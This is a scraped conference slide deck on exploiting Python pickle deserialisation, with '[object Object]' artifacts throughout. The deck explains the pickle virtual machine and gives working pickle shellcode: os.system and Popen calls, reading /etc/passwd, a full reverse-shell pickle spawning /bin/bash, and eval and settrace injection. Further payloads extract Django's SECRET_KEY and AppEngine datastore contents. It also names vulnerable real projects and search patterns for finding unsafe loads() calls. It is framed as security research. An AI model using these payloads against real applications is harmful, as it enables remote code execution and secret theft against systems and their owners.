Sour Pickles

Marco Slaviero,[object Object],Sour PicklesA serialised exploitation guide in one part,[object Object]

converttopickle.py / Anapickle

Bugs in the wildFree map enclosed,[object Object]

Introduction: The theory,[object Object],http://docs.python.org/library/pickle.html,[object Object]

Introduction: The practice,[object Object]

Bug found in Jan 2011 by @dbph,[object Object],Want rsa in python?,[object Object],easy_install rsa,[object Object],This guy did ➢ https://github.com/aktowns/rsatweets,[object Object],Python module for send and receiving encrypted tweets. Relied on 'rsa' module,[object Object],Follow the call chain,[object Object],readTweet(tag, author),[object Object], rsa.decrypt(cipher),[object Object], rsa.gluechops(chops),[object Object], rsa.unpicklechops(string),[object Object], pickle.load(zlib.decompress(base64.decod estring(string))),[object Object],RCE via Twitter,[object Object],Keep practicing son,[object Object]

Assumption,[object Object],We control input to loads(),[object Object],Dig into Pickle exploitation,[object Object],Explore the limits of what is possible,[object Object],Build useful tools and shellcode,[object Object],Find bugs,[object Object],The fundamental issue is not new,[object Object],But no public exploitation guide exists,[object Object],(And what’s the world for, if we can’t exploit stuff?),[object Object],Goals,[object Object]

Function X wants to send an object to Function Y,[object Object],Separate processes & machines,[object Object],You can,[object Object],Build a custom marshalling protocol,[object Object],Implement a public marshallingprotocol, such as ASN.1 or JSON,[object Object],Rely on the underlying framework to convert the object to and from a stream of bytes, in a consistent way – the easiest,[object Object],Built-in on numerous languages,[object Object],Background: Serialisation,[object Object]

Problem: how to send data from a process on one machine to a process on another,[object Object],Solution: Serialisation,[object Object],Options,[object Object],Build your own,[object Object],Use a public marshaling library e.g. ASN.1 or JSON,[object Object],Use built-in functionality provided by the language & framework ,[object Object],Background: Serialisation,[object Object]

Default method for serialisation (v2.3+),[object Object],Tightly integrated & opaque,[object Object],Versioned,[object Object],Used to be 7-bit, now supports 8-bit too,[object Object],6 Pickle versions as of Python 3.2,[object Object],Newer versions are backwards compatible,[object Object],Old Python versions break on newer pickles,[object Object],Two essential calls,[object Object],dumps() takes as input a Python object and returns a serialised string. dump() is equivalent for files.,[object Object],loads() takes as input a serialised string and returns a Python object. load() is equivalent for files.,[object Object],Pickle and cPickle (compiled) essentially the same,[object Object],Python’s Pickle,[object Object]

Produces usable objects, not just data structures,[object Object],Handles arbitrary objects without implementing Serializable or knowing anything about them,[object Object],Reconstruction requires name in module path,[object Object],loads() is the gateway to exploitation,[object Object],naked loads() calls are our "gets()",[object Object],Skinning the Pickle,[object Object]

Take instance of class Foo,[object Object],Extract all attributes from the object (__dict__),[object Object],Convert the list of attributes into name-value pairs,[object Object],Write the object’s class name to the picklestream,[object Object],Write the attribute pairs into the stream,[object Object],Object is reduced according to defined steps,[object Object],Pickling Process,[object Object]

Take pickle stream,[object Object],Rebuild list of attributes,[object Object],Create an object from the saved class name,[object Object],Copy attributes into the new object,[object Object],i.e. Can unpickle any object so long as the class can be instantiated,[object Object],Expressive language used to rebuild arbitrary attributes,[object Object],UnpicklingProcess,[object Object]

pickle.loads() kicks off unpickling,[object Object],Pickle relies on a tiny virtual machine,[object Object],Pickle streams are actually programs,[object Object],Instructions and data are interleaved,[object Object],Lifting the Skirt,[object Object]

The protocol requires:,[object Object],Instruction processor (or engine),[object Object],Stack,[object Object],Memo,[object Object],Pickle Virtual Machine (PVM),[object Object]

Reads opcodes and arguments from the stream, starting at byte 0,[object Object],Processes them, alters the stack/memo,[object Object],Repeat until end of stream,[object Object],Return top of the stack, as the deserialised object (when a STOP is encountered),[object Object],PVM Instruction Engine,[object Object]

Basically indexed registers,[object Object],Implemented as a Python dict in Pickle,[object Object],Provides storage for the lifetime of the PVM,[object Object],S'first string',[object Object],p199,[object Object],Sparse array, can index non-sequentially,[object Object],PVM Memo,[object Object],Push a string,[object Object],Save into memo,[object Object]

Temporary storage for data, arguments, and objects used by the PVM,[object Object],Implemented as a Python list in Pickle,[object Object],Regular stack,[object Object],Instructions load data onto the stack,[object Object],Instructions remove and process stack items,[object Object],Final object on the stack is the deserialised object,[object Object],PVM Stack,[object Object]

Not Python isomorphism,[object Object],Opcodes are a single byte,[object Object],Instructions that take arguments use newlines to delimit them,[object Object],Not all opcode have args,[object Object],Some opcodes have multiple args,[object Object],Types of instructions: data loading, object creation, memo / stack manipulation,[object Object],Data loading instructions read from the instruction stream, load onto the stack,[object Object],No instructions to write into the instruction sequence,[object Object],PVM Instructions,[object Object]

Opcodes: data loading,[object Object]

Opcodes: Stack/memo manipulation,[object Object]

Opcodes: List, dict, tuple manipulation,[object Object]

Instruction,[object Object],sequence,[object Object],(S'str1',[object Object],S'str2',[object Object],I1234,[object Object],t,[object Object],Stack,[object Object],Opcodes: Example tuple,[object Object]

Instruction ,[object Object],sequence,[object Object],(S'str1',[object Object],S'str2',[object Object],I1234,[object Object],t,[object Object],Stack,[object Object],Opcodes: Example tuple,[object Object]

Stack,[object Object],Opcodes: Example tuple,[object Object],Instruction ,[object Object],sequence,[object Object],(S'str1',[object Object],S'str2',[object Object],I1234,[object Object],t,[object Object]

Opcodes: Object loading,[object Object]

Instruction ,[object Object],sequence,[object Object],c__builtin__,[object Object],file,[object Object],(S'/etc/passwd',[object Object],tR,[object Object],Stack,[object Object],Opcodes: Example load and call,[object Object]

Instruction ,[object Object],sequence,[object Object],c__builtin__,[object Object],file,[object Object],(S'/etc/passwd',[object Object],tR,[object Object],Stack,[object Object],Opcodes: Example load and call,[object Object],'R' executes __builtin__.file('/etc/passwd'),[object Object]

Can’t Pickle objects where it doesn’t make sense (e.g. open files, network sockets),[object Object],Opcodes,[object Object],Set is not Turing complete in isolation,[object Object],No comparison,[object Object],No branching,[object Object],Can’t directly manipulate its own stream,[object Object],Can’t access Python variables,[object Object],No exception handling or error checking,[object Object],Class instances and methods not directly handled,[object Object],Limited to data manipulation and method execution,[object Object],In practice, does this matter?,[object Object],Limitations,[object Object]

Combination of GLOBAL and REDUCE means execution of Python callables,[object Object],i.e. bad,[object Object],Unvalidated or poorly validated input to loads() is very dangerous,[object Object],also known ,[object Object],Previous work has focused on execution,[object Object],no returned values,[object Object],no embedding into host pickles,[object Object],We can take this further,[object Object],Problem?,[object Object]

Create reliable shellcode that works across Python versions/platforms,[object Object],Even when “harmful” methods are unavailable,[object Object],Want shellcode that can modify the returned Python object,[object Object],Immediate aims,[object Object]

Demo,[object Object],Pickle usage, calling dumps(), loads(), dis(),[object Object]

Attack Scenarios(or getting hold of pickle streams),[object Object]

Successful approaches,[object Object]

App stores pickles on disk with permissive file ACLs,[object Object],Web application encodes cookie data in a pickle,[object Object],Thick application uses pickle as RPC mechanism,[object Object],Attack Examples,[object Object]

Embedded shellcode can be inserted into a host pickle in a number of ways,[object Object],Truncate and overwrite the stream,[object Object],Prepend the stream,[object Object],Append to the stream,[object Object],Inject into the stream,[object Object],How to choose?,[object Object],Truncation? Alteration?,[object Object]

Verdict: Either prepend or overwrite an entity and match types,[object Object]

Handcrafted1,[object Object],cos,[object Object],system,[object Object],S'ls –',[object Object],tR.,[object Object],Generated2 (limited),[object Object],class RunBinSh(object):,[object Object], def __reduce__(self):,[object Object], return (subprocess.Popen, (('/bin/sh',),)),[object Object],1http://nadiana.com/python-pickle-insecure,[object Object],2http://blog.nelhage.com/2011/03/exploiting-pickle/,[object Object],Shellcode Writing,[object Object],No output!,[object Object],cos,[object Object],system,[object Object],(S'printf -v a apos;%dapos; "apos;`uname -a | sed apos;s/.{2}(.).*/1/apos;`";exit $a;',[object Object],tR.,[object Object],Not general enough,[object Object]

Stick to version 0, pickle module,[object Object],Attacker controls the entire pickle stream,[object Object],Modified based on entity types,[object Object],Primarily interested in Python callables,[object Object],Base pattern:,[object Object],c<module>,[object Object],<callable>,[object Object],(<args>,[object Object],tR,[object Object],Principles,[object Object]

Prepended streams must keep the stack empty,[object Object],Inserted streams keep stack clean and use the memo for storage,[object Object],Store in memo to avoid function composition f(g(),g(h())),[object Object],Don’t change entity types,[object Object],Replacement entities to match original entities,[object Object],Only callables in the top-level of modules are candidates for GLOBAL,[object Object],Aim for deterministic / reliable shellcode,[object Object],So long as the type of class instances is predictable, it’s possible to invoke named methods.,[object Object],7 (achievable) guidelines for shellcode,[object Object]

No opcode to call methods on class instances. i.e. Can’t do this,[object Object],f=fopen('/path/to/massive/sikrit'),[object Object],f.read(),[object Object],We want this functionality though (can it be derived?),[object Object],Operations available,[object Object],Load any top-level object,[object Object],Execute callable objects,[object Object],Craft Python data structures,[object Object],Have stack/registers, will travel,[object Object],Building blocks: Accessing class instances,[object Object]

GLOBAL only loads top-level module objects,[object Object],REDUCE will execute off the stack when a callable and an argument tuple are present,[object Object],Look to Python introspection to load a callable handle on the stack,[object Object],Building blocks: Accessing class instances,[object Object],This is easy, opcodes support this trivially,[object Object],The trick. How to load a handle to a class instance method?,[object Object]

f=open('/path/to/massive/sikrit'),[object Object],f.read(),[object Object],Building blocks: Accessing class instances,[object Object]

f=open('/path/to/massive/sikrit'),[object Object],f.read(),[object Object],Step 1 is easy:,[object Object],c__builtin__,[object Object],open,[object Object],(S'/path/to/massive/sikrit',[object Object],tRp100 (Open file handle now at m[100]),[object Object],Building blocks: Accessing class instances,[object Object]

f=open('/path/to/massive/sikrit'),[object Object],f.read(),[object Object],apply() invokes a method handle on an argument list,[object Object],__builtin__.apply(file.read, [f]),[object Object],But we still need a handle to file.read,[object Object],getattr() returns the attribute for a supplied name,[object Object], __builtin__.getattr(file,'read'),[object Object],Lastly, file can be loaded easily,[object Object],Combined,[object Object],__builtin__.apply( __builtin__.getattr(file,'read'), [f]),[object Object],Building blocks: Accessing class instances,[object Object]

f=open('/path/to/massive/sikrit'),[object Object],f.read(),[object Object],Step 2:,[object Object],c__builtin__,[object Object],apply,[object Object],(c__builtin__,[object Object],getattr,[object Object],(c__builtin__,[object Object],file,[object Object],S'read',[object Object],tR(g100,[object Object],ltR,[object Object],Building blocks: Accessing class instances,[object Object],Violates guideline for avoiding composition,[object Object],Quite unreadable,[object Object],Applies file.read on the object stored at m[100] (previously opened file),[object Object]

More general template. Calls methnm() on an instance of so.me.cls. Uses memo slots i and j for intermediate storage.,[object Object],c__builtin__,[object Object],getattr,[object Object],(cso.me,[object Object],cls,[object Object],S'methnm',[object Object],tRpj,[object Object],0c__builtin__,[object Object],apply,[object Object],(gj,[object Object],gi,[object Object],ltR,[object Object],Building blocks: Accessing class instances,[object Object],Loads so.me.cls,[object Object],Calls methnm(),[object Object]

I1000,[object Object],ltRp102,[object Object],0c__builtin__,[object Object],getattr,[object Object],(c__builtin__,[object Object],file,[object Object],S'close',[object Object],tRp103,[object Object],0c__builtin__,[object Object],apply,[object Object],(g103,[object Object],(g100,[object Object],ltRp104,[object Object],0g102,[object Object],c__builtin__,[object Object],open,[object Object],(S'/etc/passwd',[object Object],tRp100,[object Object],0c__builtin__,[object Object],getattr,[object Object],(c__builtin__,[object Object],file,[object Object],S'read',[object Object],tRp101,[object Object],0c__builtin__,[object Object],apply,[object Object],(g101,[object Object],(g100,[object Object],Building blocks: Accessing class instances,[object Object],Open file, save class instance at ,[object Object],m[100], clear stack,[object Object],Get handle to file.read, save at ,[object Object],m[101],[object Object],Now call file.close(). Note it uses the saved instance; no composition required,[object Object],m[102] is returned,[object Object],Call apply(<handle>,<instance>),[object Object]

cmodule,[object Object],__dict__,[object Object],pi,[object Object],0,[object Object],c__builtin__,[object Object],getattr,[object Object],(gi,[object Object],S('__getitem__',[object Object],tRpj,[object Object],0gj,[object Object],(S'constant',[object Object],tRpsaved,[object Object],0,[object Object],Building blocks: Accessing module constants,[object Object],Load reference to __dict__,[object Object],Obtain reference to module.__dict__.__getitem__,[object Object],Call module.__dict__.__getitem__(constant),[object Object]

Wrapped or direct exploits,[object Object],Unique shellcode per task?,[object Object],Parameterise the shellcode using a more accessible language,[object Object],Back channels,[object Object],Assume fields from the unpickled object are displayed,[object Object],Not a requirement (think findsock),[object Object],Length,[object Object],Bound by Python’s internal string and list types,[object Object],Runtime,[object Object],Is persistent shellcode possible?,[object Object],Automation,[object Object],Nothing special about the conversion, so automate it,[object Object],Shellcode considerations,[object Object]

f = __builtin__.open('foo','w',),[object Object],r = f.write('line1nline2',) [__builtin__.file],[object Object],q = __builtin__.str('Finished',),[object Object],q,[object Object],c__builtin__,[object Object],open,[object Object],(S'foo',[object Object],S'w',[object Object],tRp100,[object Object],0c__builtin__,[object Object],getattr,[object Object],(c__builtin__,[object Object],file,[object Object],S'write',[object Object],tRp101,[object Object],0c__builtin__,[object Object],Tool 1: converttopickle.py,[object Object],apply,[object Object],(g101,[object Object],(g100,[object Object],S'line1line2',[object Object],ltRp102,[object Object],0c__builtin__,[object Object],str,[object Object],(S'Finished',[object Object],tRp103,[object Object],0g103,[object Object]

Input is a sequence of Python-like statements (mostly calls),[object Object],Statements are annotated to indicate type,[object Object],Output is standalone or snippets of equivalent Pickle,[object Object],converttopickle.py,[object Object]

Now no need to care about opcodes,[object Object]

Info,[object Object],Get globals/locals list,[object Object],Fingerprint the Python runtime (paths, versions, argv, loaded modules),[object Object],Process handling,[object Object],Return status of os.system(),[object Object],Output of os.popen(),[object Object],Output of subprocess.check_output(),[object Object],Bindshell,[object Object],Reverse shell,[object Object],Files operations,[object Object],Runtime,[object Object],Run eval() with supplied code,[object Object],Inject Python debugger (settrace()),[object Object],Frameworks,[object Object],Django retrieval of configuration items (incl SECRET_KEY, DATABASES),[object Object],AppEngine retrieval of userids, Kinds (and their Properties),[object Object],AppEnginge call output functions directly,[object Object],Shellcode Library,[object Object]

afinet = socket.AF_INET {const},[object Object],sstream = socket.SOCK_STREAM {const},[object Object],ttcp = socket.IPPROTO_TCP {const},[object Object],solsocket = socket.SOL_SOCKET {const},[object Object],reuseaddr = socket.SO_REUSEADDR {const},[object Object],sock = socket.socket(afinet,sstream,ttcp,),[object Object],q = sock.setsockopt(solsocket,reuseaddr,1) [socket.socket],[object Object],conn = sock.connect(('localhost',55555,),) [socket.socket],[object Object],fileno = sock.fileno() [socket._socketobject],[object Object],fd = __builtin__.int(fileno,),[object Object],subproc = subprocess.Popen(('/bin/bash',),0,'/bin/bash', fd, fd, fd,),[object Object],Reverseshell: Input,[object Object]

"csocket__dict__p1010c__builtin__getattr(g101S'__getitem__'tRp1020g102(S'AF_INET'tRp1000csocket__dict__p1040c__builtin__getattr(g104S'__getitem__'tRp1050g105(S'SOCK_STREAM'tRp1030csocket__dict__p1070c__builtin__getattr(g107S'__getitem__'tRp1080g108(S'IPPROTO_TCP'tRp1060csocket__dict__p1100c__builtin__getattr(g110S'__getitem__'tRp1110g111(S'SOL_SOCKET'tRp1090csocket__dict__p1130c__builtin__getattr(g113S'__getitem__'tRp1140g114(S'SO_REUSEADDR'tRp1120csocketsocket(g100g103g106tRp1150c__builtin__getattr(csocketsocketS'setsockopt'tRp1160c__builtin__apply(g116(g115g109g112I1ltRp1170c__builtin__getattr(csocketsocketS'connect'tRp1180c__builtin__apply(g118(g115(S'localhost'I55555tltRp1190c__builtin__getattr(csocket_socketobjectS'fileno'tRp1200c__builtin__apply(g120(g115ltRp1210c__builtin__int(g121tRp1220csubprocessPopen((S'/bin/bash'tI0S'/bin/bash'g122g122g122tRp1230S'finished'.",[object Object],Reverseshell: Output,[object Object]

Demo,[object Object],reverseshell shellcode,[object Object]

g = __builtin__.globals(),[object Object],f = __builtin__.compile('import os; os.system("sleep 0");picklesmashed="foo";','','exec',),[object Object],r = __builtin__.eval(f,g,),[object Object],e = g.get('picklesmashed',) [__builtin__.dict],[object Object],e,[object Object],Eval: Input,[object Object],import urllib2,[object Object],picklesmashed="",[object Object],try:,[object Object], for l in urllib2.urlopen("http://www.googl e.com").readlines():,[object Object], picklesmashed += l.replace("<","&l t;").replace(">",">"),[object Object],except:,[object Object], pass,[object Object],[object Object]

Shellcode returns this value of “picklesmashed”

Can thus retrieve output from the eval(),[object Object]

g = __builtin__.globals(),[object Object],f = __builtin__.compile('def t(frame,event,arg):ntif event=="call":ntttry:ntttprint frame.f_locals.items()nttexcept Exception:ntttprint "e"','','exec',),[object Object],r = __builtin__.eval(f,g,),[object Object],e = g.get('t',) [__builtin__.dict],[object Object],x = sys.settrace(e,),[object Object],"finished",[object Object],settrace shellcode: Input,[object Object],def t(frame,event,arg):,[object Object], if event=="call":,[object Object], try:,[object Object], print frame.f_locals.items(),[object Object], except Exception:,[object Object], print "e",[object Object],[object Object]

eval() is called to create the new method

new method is passed to settrace(),[object Object]

a = django.core.mail.send_mail('Subject here', 'Here is the message.', 'foo@example.com',['marco@sensepost.com']),[object Object],b = django.conf.settings,[object Object],g = __builtin__.getattr(b,'SECRET_KEY'),[object Object],g,[object Object],Django config read: Input,[object Object],[object Object]

Retrieve Django configuration,[object Object]

g = __builtin__.globals(),[object Object],f = __builtin__.compile('import google.appengine.ext.dbfrom google.appengine.ext.db.metadata import *picklesmashed=""q = google.appengine.ext.db.GqlQuery("SELECT __key__ from __property__")for p in q.fetch(100): picklesmashed+="%s:%sn" % (google.appengine.ext.db.metadata.Property.key_to_kind(p), google.appengine.ext.db.metadata.Property.key_to_property(p))','','exec',),[object Object],r = __builtin__.eval(f,g,),[object Object],e = g.get('picklesmashed',) [__builtin__.dict],[object Object],e,[object Object],AppEngine: Input,[object Object],import google.appengine.ext.db,[object Object],from google.appengine.ext.db.metadata import *,[object Object],picklesmashed="",[object Object],q = google.appengine.ext.db.GqlQuery("SELECT __key__ from __property__"),[object Object],for p in q.fetch(100):,[object Object], picklesmashed+="%s:%s" %(google.appengine.ex t.db.metadata.Property.key_to_kind(p), google.appe ngine.ext.db.metadata.Property.key_to_property(p)),[object Object],[object Object]

Python payload implements iteration

Using this technique, could extract the datastore,[object Object]

Pickle multitool,[object Object],Simulates pickles (safely),[object Object],Extracts embedded callable names,[object Object],Extracts entities and their types,[object Object],Summarises the pickle,[object Object],Generates shellcode according to provided parameters,[object Object],Library is parameterised e.g. port number, host names, Python for eval() etc,[object Object],Applies wrapper functions,[object Object],Inserts shellcode smartly,[object Object],Performs type checking on the shellcode and the entity it is replacing,[object Object],Tool 2: Anapickle,[object Object]

Demo,[object Object],Anapickle,[object Object]

Looked on Google Code, Nullege, Sourceforge, Google, Pastebin,[object Object],Approaches,[object Object],Strings with strong likelihood of being bad,[object Object],More general loads() review,[object Object],Application survey,[object Object],"pickle.loads(recv",[object Object],"pickle.loads(net",[object Object],"pickle.loads(.*decompress",[object Object],"pickle.loads(.*decode",[object Object],"pickle.loads(.*url",[object Object],"pickle.loads(packet",[object Object],"pickle.loads(msg",[object Object],"pickle.loads(data",[object Object],"pickle.loads(message",[object Object],"pickle.loads(buffer",[object Object],"pickle.loads(req",[object Object]

Examples for naked loads() found in web apps, thick apps, security apps, modules,[object Object],Not endemic, but not hard to find,[object Object],Network-based,[object Object],Evil party,[object Object],MitM,[object Object],File-based,[object Object],Cache-based,[object Object],Results: so much for the warnings,[object Object]

"PyTables is a package for managing hierarchical datasets and designed to efficiently and easily cope with extremely large amounts of data" – pytables.org,[object Object],Example 2: PyTables,[object Object],import tables,[object Object],f = tables.openFile( 'somefile', 'w' ),[object Object],node = f.createTable( f.root, 'sometable', { 'col': tables.StringCol(10) }, title = "cospopen(S'sleep 10'tRp1000c__builtin__getattr(c__builtin__fileS'read'tRp1010c__builtin__apply(g101(g100I1000ltRp1020c__builtin__getattr(c__builtin__fileS'close'tRp1030c__builtin__apply(g103(g100ltRp1040g102." ),[object Object],I.e. if users control table titles, they get RCE,[object Object]

Peach fuzzer supports agent-based fuzzing,[object Object],Agent and controller communicate over the network,[object Object],Unauthenticated (well, by the time auth happens it's too late),[object Object],Using pickle,[object Object],Example 3: Peach fuzzer,[object Object]

demo,[object Object],Peach fuzzer,[object Object]

First torrent-based p2p streaming media finder / player / community thing,[object Object],Research project from Delft University of Technology and Vrije Universiteit Amsterdam (10 PhDs, 2 postdoc, significant cash),[object Object],Research platform supports stats gathering,[object Object],Pickle used to transport data,[object Object],Clients only accept Pickles from verified researchers,[object Object],Researchers accept Pickles from any client,[object Object],Two attacks,[object Object],Researchers own clients,[object Object],Clients own researchers,[object Object],Example 4: Tribler,[object Object]

Sour Pickles

Sour Pickles

Recommended

More Related Content

What's hot

What's hot(20)

Viewers also liked

Viewers also liked(14)

Similar to Sour Pickles

Similar to Sour Pickles(20)

More from SensePost

More from SensePost(20)

Recently uploaded

Recently uploaded(20)

Sour Pickles

Editor's Notes